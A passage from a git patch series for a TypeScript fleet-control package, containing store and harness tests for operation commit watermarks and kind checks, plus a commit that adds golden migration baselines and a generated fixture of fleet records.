+} + function factRow(ordinal = 0): FleetOperationStagedRow { return { rowKind: 'fact', @@ -613,10 +622,11 @@ describe('D1FleetOperationStore', () => { await expect(lease.commitProgress(transition)).rejects.toThrow( 'committed batch response lost', ); - // 12 finding/fact inserts at 12 bindings each (5 values + the 7-binding - // operation guard), then the run update at 5 + 3 lease + 5x1 watermark. + // 12 finding/fact inserts at 17 bindings each (5 values + the 7-binding + // operation guard + 5x1 dense-prefix watermark), then the run update at + // 5 + 3 lease + 5x1 watermark. const commitBindingCounts = [ - ...Array.from({ length: 12 }, () => 12), + ...Array.from({ length: 12 }, () => 17), 13, ]; expect(db.bindingCounts.slice(bindingMark)).toEqual( @@ -675,15 +685,21 @@ describe('D1FleetOperationStore', () => { it('commitProgress refuses a stale revision', async () => { const db = new MemoryD1(); - const error = await store(db).withAccountOperationLease( + const target = store(db); + let batchMark = 0; + const error = await target.withAccountOperationLease( 'audit', async (lease) => { const created = await start(lease); + batchMark = db.batchSizes.length; + // A well-formed revision-2 -> 3 transition against a persisted + // revision 0: the pre-SQL checks all pass, so the refusal comes from + // the run update's own revision guard. return rejection( lease.commitProgress({ operationId: OPERATION_ID, expectedRevision: 2, - runRecord: advanced(created.record), + runRecord: advanced(advanced(advanced(created.record))), }), ); }, @@ -691,6 +707,10 @@ describe('D1FleetOperationStore', () => { expect(error.message).toBe( `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, ); + expect(db.batchSizes.slice(batchMark)).toHaveLength(1); + expect( + (await target.readOperationById(OPERATION_ID))?.progress.revision, + ).toBe(0); }); it('commitProgress converges on byte-identical replay', async () => { @@ -741,6 +761,228 @@ describe('D1FleetOperationStore', () => { ); }); + it('a commitProgress refused on a watermark leaves no row a later commit can converge over', async () => { + const conflict = `fleet operation '${OPERATION_ID}' is no longer at the expected revision`; + + // Leg A: the watermark is of a kind the batch does not insert, so the + // refusal comes from a claim the operation cannot satisfy yet. + const legA = new MemoryD1(); + const legATarget = store(legA); + await legATarget.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(0)], + }); + const batchMark = legA.batchSizes.length; + await expect( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [payloadFindingRow(0, 'payload A')], + expectedRowWatermarks: { record: 2 }, + }), + ).rejects.toThrow(conflict); + expect(legA.batchSizes.slice(batchMark)).toHaveLength(1); + expect( + ( + await legATarget.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 10, + }) + ).rows, + ).toEqual([]); + expect( + (await legATarget.readOperationById(OPERATION_ID))?.progress.revision, + ).toBe(0); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(1)], + }); + const committed = await lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [payloadFindingRow(0, 'payload B')], + expectedRowWatermarks: { record: 2 }, + }); + expect(committed.progress.revision).toBe(1); + }); + expect( + ( + await legATarget.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 10, + }) + ).rows[0]?.payload.detail, + ).toBe('payload B'); + + // Leg B: the watermark is the inserted row's own kind, so only the + // pre-state dense prefix distinguishes the refusal from a commit that + // lands the row and refuses the run update. + const legB = new MemoryD1(); + const legBTarget = store(legB); + await legBTarget.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + const transition = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [findingRow(1)], + expectedRowWatermarks: { finding: 2 }, + } as const; + await expect(lease.commitProgress(transition)).rejects.toThrow(conflict); + expect( + ( + await legBTarget.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 10, + }) + ).rows, + ).toEqual([]); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [findingRow(0)], + }); + expect((await lease.commitProgress(transition)).progress.revision).toBe( + 1, + ); + }); + expect( + ( + await legBTarget.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 10, + }) + ).rows.map((row) => row.ordinal), + ).toEqual([0, 1]); + + // Leg C is a regression guard, not coverage of the conjunct: it is green + // under an unguarded insert too, and red only under a scheme that counts + // the batch's own earlier inserts. + const legC = new MemoryD1(); + const legCTarget = store(legC); + await legCTarget.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [findingRow(2)], + }); + expect( + ( + await lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [findingRow(0), findingRow(1), findingRow(2)], + expectedRowWatermarks: { finding: 3 }, + }) + ).progress.revision, + ).toBe(1); + }); + expect( + ( + await legCTarget.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 10, + }) + ).rows.map((row) => row.ordinal), + ).toEqual([0, 1, 2]); + + // Leg D: the contiguous-run PRECONDITION the dense prefix rests on. The + // batch's own finding inserts below the watermark are ordinals 0 and 2, + // which is not the run [1, 3), so the store refuses before it composes a + // statement. Delete the `below.some((row) => row.ordinal < prefix)` check + // and finding 2 lands through a commit whose run update still refuses. + const legD = new MemoryD1(); + const legDTarget = store(legD); + await legDTarget.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [findingRow(0)], + }); + const batchMark = legD.batchSizes.length; + const refused = await rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [findingRow(0), findingRow(2)], + expectedRowWatermarks: { finding: 3 }, + }), + ); + expect(refused.message).toBe( + 'commitProgress finding rows below the watermark must be the contiguous run ending at it', + ); + expect(legD.batchSizes.slice(batchMark)).toEqual([]); + }); + expect( + ( + await legDTarget.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 10, + }) + ).rows.map((row) => row.ordinal), + ).toEqual([0]); + + // Leg E: the same conjunct on the row UPDATE, which no other title + // reaches — title 19's watermark carries no inserts, so its `prefix` + // equals the watermark and its UPDATE conjunct is indistinguishable from + // the run update's. Here the UPDATE's own conjunct is the only thing + // keeping the new payload out of the table; delete `${rowWatermarkSql}` + // from the UPDATE and the row reads 'active' through a refused commit. + const legE = new MemoryD1(); + const legETarget = store(legE); + await legETarget.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending', 0)], + }); + const batchMark = legE.batchSizes.length; + const refused = await rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + updateRows: [itemRow('active', 0)], + expectedRowWatermarks: { item: 2 }, + }), + ); + // The convergence read compares payload bytes BEFORE watermarks, so a + // refused row UPDATE reports divergence rather than the conflict; with + // the UPDATE's conjunct deleted the bytes match and it reports the + // conflict instead. + expect(refused.message).toBe( + `fleet operation '${OPERATION_ID}' staged rows diverge from the persisted operation`, + ); + expect(legE.batchSizes.slice(batchMark)).toHaveLength(1); + }); + expect( + ( + await legETarget.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'item', + limit: 10, + }) + ).rows[0]?.payload.status, + ).toBe('pending'); + }); + it('a guarded item-row update stands or falls with the run update', async () => { const db = new MemoryD1(); const target = store(db); @@ -803,10 +1045,10 @@ describe('D1FleetOperationStore', () => { }); expect(acceptedDb.batchSizes.slice(batchMark)).toEqual([100]); // Per-statement binding counts: see the derivation comment on - // "watermark guards hold under a retry..." above (12 per row, 13 for - // the run update). + // "watermark guards hold under a retry..." above (17 per row under one + // watermark, 13 for the run update). expect(acceptedDb.bindingCounts.slice(bindingMark)).toEqual([ - ...Array.from({ length: 99 }, () => 12), + ...Array.from({ length: 99 }, () => 17), 13, ]); }, @@ -853,6 +1095,7 @@ describe('D1FleetOperationStore', () => { }); for (const expectedRowCounts of [ { record: 0, finding: 1, fact: 1 }, + { record: 1, finding: 0, fact: 1 }, { record: 1, finding: 1, fact: 0 }, ]) { await expect( @@ -1100,49 +1343,7 @@ describe('D1FleetOperationStore', () => { ).toBe('running'); }); - it('failOperation updates three rows in ONE batch, all read back updated', async () => { - const db = new MemoryD1(); - const target = store(db); - await target.withAccountOperationLease('migration', async (lease) => { - const created = await start(lease, 'migration'); - await lease.stageRows({ - operationId: OPERATION_ID, - expectedRevision: 0, - rows: [ - itemRow('pending', 0), - itemRow('pending', 1), - itemRow('pending', 2), - ], - }); - const mark = db.batchSizes.length; - await lease.failOperation({ - operationId: OPERATION_ID, - expectedRevision: 0, - runRecord: advanced(created.record, 'failed'), - updateRows: [ - itemRow('failed', 0), - itemRow('failed', 1), - itemRow('failed', 2), - ], - }); - expect(db.batchSizes.slice(mark)).toEqual([5]); - }); - const persisted = await target.readOperationById(OPERATION_ID); - expect(persisted?.state).toBe('failed'); - expect(persisted?.progress.revision).toBe(1); - const page = await target.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'item', - limit: 10, - }); - expect(page.rows.map((row) => row.payload.status)).toEqual([ - 'failed', - 'failed', - 'failed', - ]); - }); - - it('failOperation refuses more than 18 updateRows with its fixed message and leaves the operation running', async () => { + it('failOperation refuses more than one updateRow with its fixed message and leaves the operation running', async () => { const db = new MemoryD1(); const target = store(db); const error = await target.withAccountOperationLease( @@ -1155,18 +1356,14 @@ describe('D1FleetOperationStore', () => { operationId: OPERATION_ID, expectedRevision: 0, runRecord: advanced(created.record, 'failed'), - updateRows: Array.from({ length: 19 }, (_, index) => - itemRow('failed', index), - ), + updateRows: [itemRow('failed', 0), itemRow('failed', 1)], }), ); expect(db.batchSizes.length).toBe(mark); return rejected; }, ); - expect(error.message).toBe( - 'failOperation exceeds the operation update budget of 18 rows', - ); + expect(error.message).toBe('failOperation accepts at most one updateRow'); expect((await target.readOperationById(OPERATION_ID))?.state).toBe( 'running', ); @@ -1289,6 +1486,13 @@ describe('D1FleetOperationStore', () => { }), ).rejects.toThrow('limit must be an integer from 1 to 1000'); } + await expect( + target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'cursor' as FleetOperationRowKind, + limit: 1, + }), + ).rejects.toThrow('rowKind must be one of record, finding, item, fact'); for (const afterOrdinal of [-1, 0.5, Number.MAX_SAFE_INTEGER]) { await expect( target.readOperationRowsPage({ @@ -1297,7 +1501,9 @@ describe('D1FleetOperationStore', () => { afterOrdinal, limit: 1, }), - ).rejects.toThrow('fleet operation state is malformed'); + ).rejects.toThrow( + 'afterOrdinal must be a non-negative safe integer below Number.MAX_SAFE_INTEGER', + ); } const first = await target.readOperationRowsPage({ operationId: OPERATION_ID, @@ -1425,4 +1631,78 @@ describe('D1FleetOperationStore', () => { store(new MemoryD1()).pruneFleetOperations({ kind: 'audit', limit: 1 }), ).rejects.toThrow(FleetOperationStoreCapabilityError); }); + + it('finalize and fail refuse a cross-kind operation id at the terminal probe', async () => { + const db = new MemoryD1(); + const target = store(db); + const otherKind = `fleet operation '${OPERATION_ID}' belongs to the other operation kind`; + const secondOtherKind = `fleet operation '${SECOND_OPERATION_ID}' belongs to the other operation kind`; + await seedTerminal(target, 'migration', OPERATION_ID, 'finalized'); + await seedTerminal(target, 'migration', SECOND_OPERATION_ID, 'failed'); + + await target.withAccountOperationLease('audit', async (lease) => { + // Without the kind check the finalize half returns the migration record + // as an audit success: its state is 'finalized' and its revision matches. + await expect( + lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: runRecord('audit', 1, 'finalized'), + expectedRowCounts: {}, + }), + ).rejects.toThrow(otherKind); + // Without it the fail half returns normally: state 'failed', revisions + // equal, so the audit caller believes it failed its own operation. + await expect( + lease.failOperation({ + operationId: SECOND_OPERATION_ID, + expectedRevision: 0, + runRecord: runRecord('audit', 1, 'failed', SECOND_OPERATION_ID), + }), + ).rejects.toThrow(secondOtherKind); + }); + + for (const [operationId, state] of [ + [OPERATION_ID, 'finalized'], + [SECOND_OPERATION_ID, 'failed'], + ] as const) { + expect(await target.readOperationById(operationId)).toMatchObject({ + kind: 'migration', + state, + progress: { revision: 1 }, + }); + } + const started = await target.withAccountOperationLease( + 'audit', + async (lease) => start(lease, 'audit', THIRD_OPERATION_ID), + ); + expect(started.outcome).toBe('created'); + }); + + it('withAccountOperationLease and pruneFleetOperations refuse an unknown kind with its fixed message', async () => { + const db = new MemoryD1(); + const target = store(db); + const message = 'kind must be one of audit, migration'; + await expect( + target.withAccountOperationLease( + 'bogus' as FleetOperationKind, + async () => { + throw new Error('callback must not run'); + }, + ), + ).rejects.toThrow(message); + await expect( + target.pruneFleetOperations({ + kind: 'bogus' as FleetOperationKind, + limit: 1, + }), + ).rejects.toThrow(message); + // The kind check precedes schema initialization, so the refusal did no I/O + // at all: not one table exists. + expect( + db.sqlite + .prepare("SELECT name FROM sqlite_master WHERE type = 'table'") + .all(), + ).toEqual([]); + }); }); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index ce8c86df..b8fe7de3 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -1561,6 +1561,28 @@ describe.sequential('D1FleetStateStore Wrangler harness', { expect(result.noSecondAdvance).toBe(true); }); + it('commitProgress watermark conjuncts against real D1 (an unsatisfiable claim lands no row and does not advance the revision; a dense prefix commits)', async () => { + await expect( + probe<{ + refused: ProbeError; + revisionAfterRefusal: number; + findingsAfterRefusal: number; + acceptedRevision: number; + rowOrdinals: number[]; + }>('operation-commit-watermark'), + ).resolves.toEqual({ + refused: { + name: 'Error', + message: + "fleet operation '123e4567-e89b-42d3-a456-426614174305' is no longer at the expected revision", + }, + revisionAfterRefusal: 0, + findingsAfterRefusal: 0, + acceptedRevision: 1, + rowOrdinals: [0, 1, 2], + }); + }); + it('finalize convergence', async () => { await expect( probe<{ From a4a176e339452b02a685e449df547272d571f82c Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Fri, 4 Sep 2026 05:58:51 +0400 Subject: [PATCH 069/169] test(fleet-control): freeze the migration drain in two golden baselines Records the legacy migrateFleet behaviour that the bounded migration rewrite must reproduce, before any src change: two hand-authored worlds in a new fixture, a recorder that writes their frozen literals, and a golden test with one title per world. Eight paths; no src file changes. The success world migrates four records in the drain's own order: an immutable-external record whose D1 ledger is already at the target schema, so its single applyMigrations call is the zero-pending verify, and whose entry rollback release drives the post-commit retirement; a plain-worker record with a platform-authored three-version spec that walks the per-version loop twice; an external record whose spec is unchanged but whose backend now describes a moved state artifact and a different egress policy, taking the platform-only path; and a ready steady-state record that retires its retiring release before the ready branch, re-arms unarmed maintenance, and skips settlement because its settled key already names the release it serves. The stop world holds three records in the same order: the first completes a plain-worker migration, the second is refused in the admit preamble by the active backend-switch guard after its lease and read, and the third is never touched, which is the observable first-error stop. Both worlds inject a frozen clock, a no-op attestation sleep, a settlement host, and recording collaborators whose unused seams throw; the recording lease records any put that carries a non-frozen timestamp or a payload for another deployment as a fence violation, which the stop runner reports before the caught refusal so a mis-wired clock cannot pass as a stop. The op log vocabulary is the body's actual calls: the resolver tokens are keyed by tenant tag and environment; applyMigrations tokens read verify when the migrations argument is the spec's own array, and otherwise carry the length of the sliced ledger the call was handed, which under the spec's contiguous-from-one contract is the schema version that call advances to; put tokens follow the field each put advances. The generated fixture exports the success records and op log and the stop refusal message and op log, each gated by a satisfies clause over a frozen template-literal union, so a token from outside the vocabulary's families fails the package typecheck and a wrong value inside one fails the golden comparison. The write and check machinery the audit and inventory recorders shared moves into scripts/baseline-recorder.mjs, and both existing recorders become domain config over it: each names its world module and the one file it writes as repository-relative strings, and the shared module resolves the baseline path it prints from that same string, so no message can name a file a run did not touch. Their check output and their re-recorded fixtures are byte-identical before and after. The new migration recorder is the third caller. The scripts guide documents the shared module and the new recorder. Verification on the checkpoint tree: the three recorders' check mode green and their write mode a fixed point for all three fixtures; fleet-control typecheck clean; Biome over the three test paths and the four scripts clean; the four-file vitest run (migration golden, audit golden, the inventory drain golden, fleet) 121/121; architecture:check (31 checks) and docs:check (55 files) clean; no diff in src or in the eleven read-only paths the migration spec names. Two review rounds over four independent lanes (plan conformance, independent QA with mutation proofs, clean code, architecture with the security second opinion): two substantive findings closed in one fix cycle, round 2 clean or nit-only on every lane; the scripts guide was read by hand by three lanes. The remaining nits are recorded in the ignored NITS.md. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_012csLGuRVDj7qGD6NWcc6Bn --- .../test/fixtures/fleet-migration-baseline.ts | 500 +++++++ .../test/fixtures/fleet-migration-worlds.ts | 1289 +++++++++++++++++ .../test/fleet-migration-golden.test.ts | 29 + scripts/CLAUDE.md | 37 +- scripts/baseline-recorder.mjs | 334 +++++ scripts/record-audit-baseline.mjs | 334 +---- scripts/record-drain-baseline.mjs | 327 +---- scripts/record-migration-baseline.mjs | 104 ++ 8 files changed, 2356 insertions(+), 598 deletions(-) create mode 100644 packages/fleet-control/test/fixtures/fleet-migration-baseline.ts create mode 100644 packages/fleet-control/test/fixtures/fleet-migration-worlds.ts create mode 100644 packages/fleet-control/test/fleet-migration-golden.test.ts create mode 100644 scripts/baseline-recorder.mjs create mode 100644 scripts/record-migration-baseline.mjs diff --git a/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts b/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts new file mode 100644 index 00000000..7d279d9e --- /dev/null +++ b/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts @@ -0,0 +1,500 @@ +// SPDX-License-Identifier: Apache-2.0 + +/** + * GENERATED FILE — DO NOT EDIT BY HAND. + * + * Written by `scripts/record-migration-baseline.mjs` from the hand-authored + * worlds in `fleet-migration-worlds.ts`. It freezes the observable behavior of + * `migrateFleet()` (src/fleet.ts) before it is decomposed into a bounded + * frozen-plan executor, so the decomposition can be proven byte-equivalent. + * Verify with `node scripts/record-migration-baseline.mjs --check`; any + * required change to these literals is a compatibility break, not a fixture + * update. + */ + +import type { FleetRecord } from '../../src/types.js'; +import type { MigrationOpLogEntry } from './fleet-migration-worlds.js'; + +/** Every record `migrateFleet()` returned for the success world, in order. */ +export const MIGRATION_SUCCESS_BASELINE_RESULT = [ + { + tenantTag: 'extfull', + backend: 'workers-for-platforms', + environment: 'production', + scriptName: 'worker-extfull', + databaseId: 'db-extfull', + databaseName: 'database-extfull', + schemaVersion: 1, + artifactVersion: + 'etag:worker-extfull-d52caa3d429aa0ace5a74c7ee292cf130b26073edb205d49', + desiredSpecDigest: + 'd52caa3d429aa0ace5a74c7ee292cf130b26073edb205d491d9ccac284437743', + durableObjectBindings: [], + routeHostname: 'worker-extfull.example.test', + phase: 'ready', + updatedAt: '2026-06-01T00:00:00.000Z', + activeRelease: { + physicalScriptName: + 'worker-extfull-d52caa3d429aa0ace5a74c7ee292cf130b26073edb205d49', + specDigest: + 'd52caa3d429aa0ace5a74c7ee292cf130b26073edb205d491d9ccac284437743', + artifactVersion: + 'etag:worker-extfull-d52caa3d429aa0ace5a74c7ee292cf130b26073edb205d49', + releaseSchemaVersion: 1, + application: { vars: [], secrets: [], r2Buckets: [] }, + topology: { + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + application: { vars: [], secrets: [], r2Buckets: [] }, + }, + }, + rollbackRelease: { + physicalScriptName: + 'worker-extfull-4fd765a654b3aa105049637349a4a410505828acacb0c290', + specDigest: + '4fd765a654b3aa105049637349a4a410505828acacb0c2909968c85abe72ec4a', + artifactVersion: + 'etag:worker-extfull-4fd765a654b3aa105049637349a4a410505828acacb0c290', + releaseSchemaVersion: 1, + application: { vars: [], secrets: [], r2Buckets: [] }, + }, + platformTarget: { + maintenanceCapabilityPublicKey: + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}', + stateArtifactDigest: + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + stateDurableObjectHistoryDigest: + 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc', + egressArtifactDigest: + 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + d1SchemaVersion: 1, + d1SchemaHistoryDigest: + 'd52caa3d429aa0ace5a74c7ee292cf130b26073edb205d491d9ccac284437743', + outboundPolicy: { + policyId: '3f9fb725d669c5442027', + policyHosts: ['api.example.test'], + policyDigest: + 'cade8643815e4925c439a055aab56460f3cb24ff8a742365d25db2573c9d6f58', + }, + }, + outboundPolicy: { + policyId: '3f9fb725d669c5442027', + policyHosts: ['api.example.test'], + policyDigest: + 'cade8643815e4925c439a055aab56460f3cb24ff8a742365d25db2573c9d6f58', + }, + platformResources: { + maintenanceCapabilityPublicKey: + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}', + stateWorker: { + scriptName: 'worker-extfull-state-3f9fb725d669c5442027', + artifactVersion: 'state-v1', + artifactDigest: + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + durableObjectBindings: [], + namespaceIds: [], + }, + egressProxy: { + scriptName: 'worker-extfull-egress-3f9fb725d669c5442027', + artifactVersion: 'egress-v1', + artifactDigest: + 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + policyId: '3f9fb725d669c5442027', + policyHosts: ['api.example.test'], + policyDigest: + 'cade8643815e4925c439a055aab56460f3cb24ff8a742365d25db2573c9d6f58', + }, + }, + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + applicationResources: [], + invocationAuthority: { + version: 1, + authorizedAt: '2026-06-01T00:00:00.000Z', + }, + durableObjectTag: undefined, + settledSettlementKey: + '0b32b3081b897947a1db852b033a86fad2e38700dc2824e91cc292904e642b6c', + }, + { + tenantTag: 'plainmulti', + backend: 'plain-worker', + environment: 'production', + scriptName: 'worker-plainmulti', + databaseId: 'db-plainmulti', + databaseName: 'database-plainmulti', + schemaVersion: 3, + artifactVersion: 'v3', + desiredSpecDigest: + 'a14a55db26a2a30823bf42d881a3208c6a7f5320b86a15cd5b97dec8116b69ad', + durableObjectBindings: [], + routeHostname: 'worker-plainmulti.example.test', + phase: 'ready', + updatedAt: '2026-06-01T00:00:00.000Z', + invocationAuthority: { + version: 1, + authorizedAt: '2026-06-01T00:00:00.000Z', + }, + durableObjectTag: undefined, + durableObjectMigrationHistory: [], + durableObjectMigrationHistoryDigest: + '4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945', + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + settledSettlementKey: + '2c4bf4db5f076b148e247b473983a304137a0ff1a1a5e717ecc9b148f10e7d11', + }, + { + tenantTag: 'platformonly', + backend: 'workers-for-platforms', + environment: 'production', + scriptName: 'worker-platformonly', + databaseId: 'db-platformonly', + databaseName: 'database-platformonly', + schemaVersion: 2, + artifactVersion: + 'etag:worker-platfor-d4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754', + desiredSpecDigest: + 'd4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754b65a0839530cc9e7', + durableObjectBindings: [], + routeHostname: 'worker-platformonly.example.test', + phase: 'ready', + updatedAt: '2026-06-01T00:00:00.000Z', + activeRelease: { + physicalScriptName: + 'worker-platfor-d4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754', + specDigest: + 'd4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754b65a0839530cc9e7', + artifactVersion: + 'etag:worker-platfor-d4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754', + releaseSchemaVersion: 1, + application: { vars: [], secrets: [], r2Buckets: [] }, + }, + platformTarget: { + maintenanceCapabilityPublicKey: + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}', + stateArtifactDigest: + 'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd', + stateDurableObjectHistoryDigest: + 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc', + egressArtifactDigest: + 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + d1SchemaVersion: 2, + d1SchemaHistoryDigest: + 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff', + outboundPolicy: { + policyId: '48d210fc661a8eabf890', + policyHosts: ['narrow.example.test'], + policyDigest: + '378801bb2f0900c3180f762ae01e58af4ad69f724cf72300f492c2cb17989788', + }, + }, + outboundPolicy: { + policyId: '48d210fc661a8eabf890', + policyHosts: ['narrow.example.test'], + policyDigest: + '378801bb2f0900c3180f762ae01e58af4ad69f724cf72300f492c2cb17989788', + }, + platformResources: { + maintenanceCapabilityPublicKey: + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}', + stateWorker: { + scriptName: 'worker-platformonly-state-48d210fc661a8eabf890', + artifactVersion: 'state-v1', + artifactDigest: + 'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd', + durableObjectBindings: [], + namespaceIds: [], + }, + egressProxy: { + scriptName: 'worker-platformonly-egress-48d210fc661a8eabf890', + artifactVersion: 'egress-v1', + artifactDigest: + 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + policyId: '48d210fc661a8eabf890', + policyHosts: ['narrow.example.test'], + policyDigest: + '378801bb2f0900c3180f762ae01e58af4ad69f724cf72300f492c2cb17989788', + }, + }, + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + applicationResources: [], + invocationAuthority: { + version: 1, + authorizedAt: '2026-06-01T00:00:00.000Z', + }, + settledSettlementKey: + 'be9c10cc1282c29405ae83ce4aea196b0d2aeea40968af5815a0d5cdafa9f066', + }, + { + tenantTag: 'readysteady', + backend: 'workers-for-platforms', + environment: 'production', + scriptName: 'worker-readysteady', + databaseId: 'db-readysteady', + databaseName: 'database-readysteady', + schemaVersion: 1, + artifactVersion: + 'etag:worker-readyst-37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0', + desiredSpecDigest: + '37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0152367854b05e8bb', + durableObjectBindings: [], + routeHostname: 'worker-readysteady.example.test', + phase: 'ready', + updatedAt: '2026-06-01T00:00:00.000Z', + activeRelease: { + physicalScriptName: + 'worker-readyst-37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0', + specDigest: + '37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0152367854b05e8bb', + artifactVersion: + 'etag:worker-readyst-37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0', + releaseSchemaVersion: 1, + application: { vars: [], secrets: [], r2Buckets: [] }, + }, + rollbackRelease: { + physicalScriptName: + 'worker-readyst-1c9ff30e744df5fd3e600c49fdfcd2eaa4940b35432bb456', + specDigest: + '1c9ff30e744df5fd3e600c49fdfcd2eaa4940b35432bb456df79439af56cca1d', + artifactVersion: + 'etag:worker-readyst-1c9ff30e744df5fd3e600c49fdfcd2eaa4940b35432bb456', + releaseSchemaVersion: 1, + application: { vars: [], secrets: [], r2Buckets: [] }, + }, + platformTarget: { + maintenanceCapabilityPublicKey: + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}', + stateArtifactDigest: + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + stateDurableObjectHistoryDigest: + 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc', + egressArtifactDigest: + 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + d1SchemaVersion: 1, + d1SchemaHistoryDigest: + '37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0152367854b05e8bb', + outboundPolicy: { + policyId: 'ab62bd5bf4ae76f23a5b', + policyHosts: ['api.example.test'], + policyDigest: + '008311f7e91a3a3de1d9684b4404deb1b8e2b3a3e3d7bdff33f010eaf677163a', + }, + }, + outboundPolicy: { + policyId: 'ab62bd5bf4ae76f23a5b', + policyHosts: ['api.example.test'], + policyDigest: + '008311f7e91a3a3de1d9684b4404deb1b8e2b3a3e3d7bdff33f010eaf677163a', + }, + platformResources: { + maintenanceCapabilityPublicKey: + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}', + stateWorker: { + scriptName: 